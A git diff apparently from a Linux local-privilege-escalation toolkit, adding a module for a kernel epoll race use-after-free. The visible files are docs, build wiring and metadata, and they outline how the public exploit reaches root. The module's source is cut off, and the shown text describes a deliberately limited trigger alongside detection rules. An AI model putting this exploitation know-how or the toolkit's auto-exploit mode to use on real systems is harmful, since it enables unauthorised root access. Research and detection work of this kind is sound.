diff --git a/CVES.md b/CVES.md index de96718..d60e106 100644 --- a/CVES.md +++ b/CVES.md @@ -23,16 +23,18 @@ Status legend: - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs +**Counts:** 44 modules total covering 39 CVEs; **28 of 39 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. ๐Ÿ”ต 0 ยท โšช 0 planned-with-stub ยท ๐Ÿ”ด 0. (One โšช row below โ€” CVE-2026-31402 โ€” is a *candidate* with no module, not counted as a module.) > **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / -> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only, +> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` are blocked by their target environment (VMware-only, > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition -> libs) or are brand-new this cycle, not by missing code. See +> libs) or are brand-new this cycle, not by missing code (`bad_epoll` is +> a reconstructed epoll race trigger โ€” deliberately under-driven and not +> VM-verified). See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > > All three now have **pinned fix commits and version-based @@ -97,6 +99,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | ๐ŸŸข | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option โ€” meant only to pair with `-l` โ€” was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h `. Affects sudo 1.8.8 โ†’ 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h id -u`, and pops a root shell only on a uid-0 witness โ€” never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. | | CVE-2026-46243 | CIFSwitch โ€” `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | ๐ŸŸก | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive โ€” `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately โ€” and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | | CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables โ†’ chain UAF โ†’ kernel R/W โ†’ root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | ๐ŸŸก | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced โ†’ UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` โ€” the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | +| CVE-2026-46242 | Bad Epoll โ€” epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** โ†’ cross-cache to `struct file` โ†’ kernel R/W โ†’ root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | ๐ŸŸก | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` โ†’ 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** โ€” no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe โ€” you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s โ€” **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) โ€” snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) โ€” rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. | ## Operations supported per module diff --git a/Makefile b/Makefile index 2781876..0b3d716 100644 --- a/Makefile +++ b/Makefile @@ -242,6 +242,11 @@ NCA_DIR := modules/nft_catchall_cve_2026_23111 NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS)) +# CVE-2026-46242 bad_epoll โ€” epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF) +BEP_DIR := modules/bad_epoll_cve_2026_46242 +BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c +BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -255,7 +260,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ - $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) + $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index 3091eaa..3e6faac 100644 --- a/README.md +++ b/README.md @@ -2,10 +2,10 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl) +[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 โ†’ 2026. +> **One curated binary. 44 Linux LPE modules covering 39 CVEs from 2016 โ†’ 2026. > Every year 2016 โ†’ 2026 covered. 28 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -45,9 +45,9 @@ for every CVE in the bundle โ€” same project for red and blue teams. ## Corpus at a glance -**43 modules covering 38 distinct CVEs** across the 2016 โ†’ 2026 LPE -timeline. **28 of the 38 CVEs have been empirically verified** in real -Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are +**44 modules covering 39 distinct CVEs** across the 2016 โ†’ 2026 LPE +timeline. **28 of the 39 CVEs have been empirically verified** in real +Linux VMs via `tools/verify-vm/`; the 11 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or the t64-transition libc rollout) or are brand-new additions awaiting a VM sweep, not by missing code. @@ -68,7 +68,7 @@ af_packet ยท af_packet2 ยท af_unix_gc ยท cls_route4 ยท fuse_legacy ยท nf_tables ยท nft_set_uaf ยท nft_fwd_dup ยท nft_payload ยท netfilter_xtcompat ยท stackrot ยท sudo_samedit ยท sequoia ยท vmwgfx -### Empirical verification (28 of 38 CVEs) +### Empirical verification (28 of 39 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -81,7 +81,7 @@ each verdict against a known-target VM. Coverage: | Debian 11 (5.10 stock) | cgroup_release_agent ยท fuse_legacy ยท netfilter_xtcompat ยท nft_fwd_dup | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot ยท udisks_libblockdev | -**Not yet verified (8):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant +**Not yet verified (11):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant box), `dirty_cow` (needs โ‰ค 4.4 kernel โ€” older than every supported box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel @@ -90,7 +90,11 @@ kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian 13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new 2026-05 Qualys disclosure โ€” added this cycle, VM sweep pending), `sudo_host` (brand-new 2025-06 Stratascale disclosure โ€” added this cycle, VM sweep -pending). All eight are flagged in +pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain ++ patched-kernel discriminator pending), `nft_catchall` (reconstructed +kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll +race trigger โ€” deliberately under-driven, not VM-verified). All eleven are +flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale. See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and @@ -137,7 +141,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: active probes enabled โ€” brief /tmp file touches and fork-isolated namespace probes -[*] auto: scanning 43 modules for vulnerabilities... +[*] auto: scanning 44 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -206,8 +210,16 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs โ€” **every -year 2016 โ†’ 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111, +**v0.9.12 cut 2026-07-04.** 44 modules across 39 CVEs โ€” **every +year 2016 โ†’ 2026 now covered**. Newest: `bad_epoll` (CVE-2026-46242, +Jaeyoung Chung's "Bad Epoll" โ€” a race use-after-free in `fs/eventpoll.c` +where `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the +file while a concurrent `__fput()` frees the still-referenced +`struct eventpoll`; reachable by **any unprivileged user with no user +namespace**, weaponised via cross-cache + `/proc/self/fdinfo` arb-read; +kernelCTF public PoC โ€” shipped as a deliberately under-driven, reconstructed +reachability trigger with the corpus's lowest `--auto` safety rank), +`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate` abort-path UAF โ€” an inverted condition frees a chain still referenced by a catch-all GOTO map element; public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243, @@ -245,13 +257,13 @@ Reliability + accuracy work in v0.7.x: trace, OPSEC footprint, detection-rule coverage, verified-on records. Paste-into-ticket ready. - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) โ€” fetches - CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs. + CISA KEV catalog + NVD CWE; 13 of 39 modules cover KEV-listed CVEs. - **151 detection rules** across auditd / sigma / yara / falco; one command exports the corpus to your SIEM. - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (11 of 39 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs โ‰ค 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common @@ -259,7 +271,8 @@ Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host` + `cifswitch` (cifswitch detect + primitive VM-verified; full chain pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not -VM-verified). Rationale in +VM-verified) + `bad_epoll` (reconstructed epoll race trigger, +deliberately under-driven, not VM-verified). Rationale in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and diff --git a/core/cve_metadata.c b/core/cve_metadata.c index dd9f118..7b7fc4b 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + .cve = "CVE-2026-46242", + .cwe = "CWE-416", + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, { .cve = "CVE-2026-46243", .cwe = "CWE-20", diff --git a/core/registry.h b/core/registry.h index 5c62324..4db3754 100644 --- a/core/registry.h +++ b/core/registry.h @@ -59,6 +59,7 @@ void skeletonkey_register_ptrace_pidfd(void); void skeletonkey_register_sudo_host(void); void skeletonkey_register_cifswitch(void); void skeletonkey_register_nft_catchall(void); +void skeletonkey_register_bad_epoll(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 6bf21c4..05759c2 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -55,4 +55,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_sudo_host(); skeletonkey_register_cifswitch(); skeletonkey_register_nft_catchall(); + skeletonkey_register_bad_epoll(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index daa37f0..13dc226 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -314,6 +314,15 @@ "in_kev": false, "kev_date_added": "" }, + { + "cve": "CVE-2026-46242", + "module_dir": "bad_epoll_cve_2026_46242", + "cwe": "CWE-416", + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" + }, { "cve": "CVE-2026-46243", "module_dir": "cifswitch_cve_2026_46243", diff --git a/docs/KEV_CROSSREF.md b/docs/KEV_CROSSREF.md index 3e86b90..ca058df 100644 --- a/docs/KEV_CROSSREF.md +++ b/docs/KEV_CROSSREF.md @@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited in the wild per the Known Exploited Vulnerabilities catalog. Refreshed via `tools/refresh-cve-metadata.py`. -**13 of 38 modules cover KEV-listed CVEs.** +**13 of 39 modules cover KEV-listed CVEs.** ## In KEV (prioritize patching) @@ -54,6 +54,7 @@ and are technically reachable. "Not in KEV" is not the same as | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` | | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` | | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` | +| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` | | CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` | | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` | | CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` | diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index 8a2c8a7..829866d 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -1,3 +1,51 @@ +## SKELETONKEY v0.9.12 โ€” new LPE module: bad_epoll (CVE-2026-46242) + +Adds **`bad_epoll` โ€” CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung / +`J-jaeyoung`, submitted to Google's kernelCTF), taking the corpus to **44 +modules / 39 CVEs** and opening a brand-new subsystem: **epoll / +`fs/eventpoll.c`**. A race-condition use-after-free on the file-teardown +path โ€” `ep_remove()` clears `file->f_ep` under `file->f_lock` but keeps +using the file inside the critical section (`hlist_del_rcu()` + +`spin_unlock()`), so a concurrent `__fput()` observes the transient NULL, +skips `eventpoll_release_file()`, and frees a `struct eventpoll` still in +use. The public exploit weaponises the 8-byte UAF write via a cross-cache +attack to a `struct file`, arbitrary kernel read through +`/proc/self/fdinfo`, and a ROP chain โ€” ~99% reliable through a +~6-instruction window, and reachable by **any unprivileged user with no +user namespace, no CONFIG, and no capability** (which also means there is +no unprivileged-userns stopgap โ€” the only fix is to patch). Introduced by +`58c9b016e128` (Linux 6.4); fixed by `a6dc643c6931` (merged 7.1-rc1), +stable backport 7.0.13. CWE-416 (race root cause CWE-362); not in CISA +KEV. Also affects Android. + +๐ŸŸก **Trigger (reconstructed) โ€” deliberately under-driven, primitive-only, +not VM-verified.** A *won* race frees a live `struct eventpoll` โ€” real +memory corruption that rarely trips KASAN, so a completed race can +silently destabilise a vulnerable host. `detect()` is therefore a pure +kernel-version gate (vulnerable iff โ‰ฅ 6.4 and below the fix on-branch; +stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) with **no +active probe** โ€” there is no safe way to distinguish vulnerable from +patched without winning the race. `exploit()` forks a CPU-pinned child +that builds the epoll race pair and exercises the `ep_remove`-vs-`__fput` +concurrent-close window a **hard-bounded** 48 attempts / 2 s (widened with +`close(dup())` false-sharing storms), snapshots the eventpoll slab, and +returns `EXPLOIT_FAIL`; it does not grind the race to a win, does not do +the cross-cache reclaim, and does not bundle the `fdinfo` arbitrary-read + +ROP root-pop (per-build offsets refused). It carries the corpus's +**lowest `--auto` safety rank (12)** โ€” a kernel race that frees a live +`struct file` is the least predictable class, so `--auto` only reaches for +it after every safer vulnerable module. Detection is intentionally +weak/structural (epoll syscalls are ubiquitous and the exploit rarely +trips KASAN) โ€” the shipped auditd/sigma/falco rules key on the +post-exploitation euid-0 transition, with no yara; treat this as much as a +blue-team "your stack is nearly blind to this" teaching case as an +offensive one. Wired: registry, Makefile, safety rank (12), 5 `detect()` +test rows (version gating), CVE metadata (CWE-416 / T1068 / not-KEV), +README + CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a +verify-vm target (sweep pending). Credits Jaeyoung Chung + the upstream +fix in `NOTICE.md`. Reconstructed from the public kernelCTF PoC and not +VM-verified, so the verified count stays 28 of 39. + ## SKELETONKEY v0.9.11 โ€” new LPE module: nft_catchall (CVE-2026-23111) Adds **`nft_catchall` โ€” CVE-2026-23111**, taking the corpus to **43 diff --git a/docs/index.html b/docs/index.html index ecb9ca4..25b00fc 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY โ€” Linux LPE corpus, VM-verified, SOC-ready detection - + - + diff --git a/modules/bad_epoll_cve_2026_46242/MODULE.md b/modules/bad_epoll_cve_2026_46242/MODULE.md new file mode 100644 index 0000000..c57d18e --- /dev/null +++ b/modules/bad_epoll_cve_2026_46242/MODULE.md @@ -0,0 +1,106 @@ +# bad_epoll โ€” CVE-2026-46242 + +"Bad Epoll" โ€” a race-condition use-after-free in the Linux kernel epoll +subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**. +No user namespace, no capability, no special `CONFIG` โ€” `epoll_create1(2)`, +`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what +makes this bug unusually dangerous. + +## The bug + +On the file-teardown path, `ep_remove()` clears `file->f_ep` under +`file->f_lock` but keeps **using** the file inside the same critical +section โ€” the `hlist_del_rcu()` walk over the eventpoll's `refs` list and +the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll +file can observe the transient `NULL` `f_ep`, skip +`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing +a `struct eventpoll` that the first path is still walking โ†’ +**use-after-free** on a live kernel object. + +The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF) +arranges four epoll objects in two pairs โ€” one pair drives the race, the +other is the victim โ€” and converts the 8-byte UAF write into control of a +`struct file` via a **cross-cache** attack (the freed `eventpoll` slab +page is drained to the buddy allocator and reclaimed as pipe backing +buffers). From there it reads arbitrary kernel memory through +`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable** +despite a race window only ~6 instructions wide; the racer widens it with +`close(dup())` storms that induce false-sharing on the file's `f_count` +cache line. It **rarely trips KASAN**, which is why the bug survived three +years and why it is hard to detect at runtime. + +## Affected range + +| | | +|---|---| +| Vulnerable path introduced | commit `58c9b016e128` โ€” Linux **6.4** (2023-04-08) | +| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` โ€” merged for **7.1-rc1** (2026-04-24) | +| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) | +| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending | +| Not affected | 6.1 and older (predate the bug โ€” Debian: "vulnerable code not present") | +| NVD class | CWE-416 (Use After Free) via CWE-362 (race) | +| CISA KEV | no (brand new) | + +Table threshold is a single `{7,0,13}` entry โ€” `kernel_range_is_patched()` +treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as +vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when +those LTS backports land (`tools/refresh-kernel-ranges.py` flags them). + +## Trigger / detection + +`detect()` is a **pure version gate** โ€” no active probe, because there is +no cheap, safe way to distinguish a vulnerable kernel from a patched one +without actually winning the race (the dangerous part). It returns `OK` +below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no +`PRECOND_FAIL` userns path** the way `nft_catchall` has โ€” epoll needs no +namespace, so there is no unprivileged-userns stopgap to report or to +harden with. + +`exploit()` forks a CPU-pinned child that builds the epoll race pair (a +waiter eventpoll watching a target eventpoll) and exercises the +`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number +of times (48 attempts / 2 s), widening it with `close(dup())` +false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and +returns `EXPLOIT_FAIL`. + +It is **deliberately under-driven**. A *won* race frees a live +`struct eventpoll` โ€” genuine kernel memory corruption that rarely trips +KASAN, so on a vulnerable production host a completed race can silently +destabilise the box rather than cleanly oops. This module therefore does +**not** grind the race to a win, does **not** perform the cross-cache +reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read + +ROP that lands root (per-build offsets refused). The trigger is +**reconstructed from the public kernelCTF PoC and is not VM-verified**. It +never claims root it did not get. + +Because a kernel race is the least predictable class in the corpus โ€” and +this one can corrupt memory invisibly โ€” `bad_epoll` carries the **lowest +`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so +`--auto` only ever reaches for it after every safer vulnerable module. + +## Detection is hard โ€” read this before shipping the rules + +Unlike most modules, `bad_epoll` has **no high-fidelity signature**. +`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of +nginx, systemd, and every language runtime's event loop; the exploit +looks identical and rarely trips KASAN. The shipped auditd/sigma/falco +rules therefore key on the **post-exploitation** tell โ€” an unprivileged +process transitioning to euid 0 without a setuid `execve` โ€” plus a +recommendation to monitor kernel logs for oops/BUG lines. Expect false +positives from legitimate privilege-management daemons and tune per +environment. There is no yara rule (no file artifact). Treat this module +as much as a *blue-team teaching case* โ€” "here is a root LPE your existing +stack is nearly blind to" โ€” as an offensive one. + +## Fix / mitigation + +Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial +mitigation**: epoll cannot be disabled in practice, and no +`unprivileged_userns_clone` / sysctl toggle closes this path the way it +does for the netfilter bugs. `mitigate()` is `NULL` for that reason. + +## Credit + +Discovery, exploitation, and the public kernelCTF PoC: +**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See +`NOTICE.md`. diff --git a/modules/bad_epoll_cve_2026_46242/NOTICE.md b/modules/bad_epoll_cve_2026_46242/NOTICE.md new file mode 100644 index 0000000..35b89d5 --- /dev/null +++ b/modules/bad_epoll_cve_2026_46242/NOTICE.md @@ -0,0 +1,70 @@ +# NOTICE โ€” bad_epoll (CVE-2026-46242) + +## Vulnerability + +**CVE-2026-46242** โ€” "Bad Epoll", a **race-condition use-after-free** in +the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown +path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues +to use the file inside the critical section (`hlist_del_rcu()` over the +eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a +linked epoll file observes the transient `NULL` `f_ep`, skips +`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a +`struct eventpoll` still in use โ†’ UAF. + +The bug is reachable by **any unprivileged local user** โ€” `epoll_create1`, +`epoll_ctl`, and `close` require no capability, no user namespace, and no +special kernel config. Exploitation converts the 8-byte UAF write into +control of a `struct file` via a cross-cache attack, gains arbitrary +kernel read through `/proc/self/fdinfo`, and ROPs to a root shell โ€” +roughly 99% reliable despite a ~6-instruction race window. It also affects +Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race +root cause. **Not** in CISA KEV (brand new). + +## Research credit + +- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung** + (GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF** + program. Repository: and the + kernelCTF submission under + `J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target + `lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that + public PoC (the epoll object graph and the `ep_remove`-vs-`__fput` + close-race shape only โ€” no offsets or ROP are reused). +- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08). +- **Fixed upstream** by commit + `a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1** + (2026-04-24); stable backport **7.0.13**. +- Debian security tracker (authoritative backport versions): + โ€” forky + `7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time + of writing; bookworm 6.1 and bullseye 5.10 "not affected โ€” vulnerable + code not present". + +All credit for finding, analysing, and exploiting this bug belongs to +Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY +is the bundling and bookkeeping layer only. + +## SKELETONKEY role + +๐ŸŸก **Trigger (reconstructed) โ€” primitive-only, not VM-verified.** This is +the corpus's first epoll / VFS-file-teardown module and its cleanest +example of an SMP kernel race, shipped on the same "fire the bug class and +stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall` +(CVE-2026-23111). + +`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below +the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not +affected) โ€” no userns or CONFIG precondition, because none is required. +`exploit()` forks a CPU-pinned child that builds the epoll race pair and +exercises the `ep_remove`-vs-`__fput` concurrent-close window a +hard-bounded number of times (48 attempts / 2 s), widening it with +`close(dup())` false-sharing storms, snapshots the eventpoll slab, and +returns `EXPLOIT_FAIL`. + +It is **deliberately under-driven**: a won race frees a live +`struct eventpoll` (real corruption that rarely trips KASAN), so the module +does not grind the race to a win, does not perform the cross-cache reclaim, +and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop +(per-build offsets refused). The trigger is reconstructed from the public +kernelCTF PoC, not VM-verified โ€” it never claims root it did not get. It +carries the lowest `--auto` safety rank in the corpus. diff --git a/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.c b/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.c new file mode 100644 index 0000000..8e351c2 --- /dev/null +++ b/modules/bad_epoll_cve_2026_46242/skeletonkey_modules.c @@ -0,0 +1,434 @@ +/* + * bad_epoll_cve_2026_46242 โ€” 